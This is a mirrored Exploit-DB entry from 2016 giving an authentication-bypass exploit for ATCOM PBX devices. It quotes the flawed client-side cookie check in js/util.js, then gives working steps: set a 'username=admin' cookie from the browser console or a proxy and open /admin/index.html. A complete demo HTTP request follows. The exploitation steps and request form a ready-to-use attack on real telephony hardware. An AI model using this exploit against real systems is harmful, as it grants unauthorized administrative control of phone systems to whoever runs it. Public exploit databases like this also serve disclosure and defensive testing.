ATCOM PBX IP01 / IP08 / IP4 / IP2G4A – Authentication Bypass - 体验盒子

作者： i-Hmx

日期： 2016-06-16

类别：

webapps

平台：

hardware

来源：https://www.exploit-db.com/exploits/39962/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

# Title: ATCOM PBX system , auth bypass exploit

# Author: i-Hmx

# contact : n0p1337@gmail.com

# Home : sec4ever.com

# Tested on : ATCOM IP01 , IP08 , IP4G and ip2G4A

Details

The mentioned system is affected by auth bypass flaw that allow an attacker to get admin access on the vulnerable machine without perior access

The security check is really stupid , depend on js

affected lines

js/util.js

function alertWithoutLogin(){

var username = getCookie("username");

//alert(username);

if(!!!username){

alert('Sorry, permission denied. Please login first!');

}

so actually it just check if username value exist in cookies

and if not , redirect to login.html

just like that!!!!!!!!!!!!!

exploitation?!

just from browser , press f12 , open console

type document.cookie="username=admin"

or from burp intercept proxy and set the cookies as well

go to ip/admin/index.html

and you are in , simple like that :/

Demo request

GET /admin/index.html HTTP/1.1

Host: 192.168.44.12

User-Agent: Mozilla/1.0 (Windows NT 3.3; WOW32; rv:60.0) Gecko/20010101 Firefox/60.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie: username=admin

Connection: close

Upgrade-Insecure-Requests: 1

From Eg-R1z with love

./Faris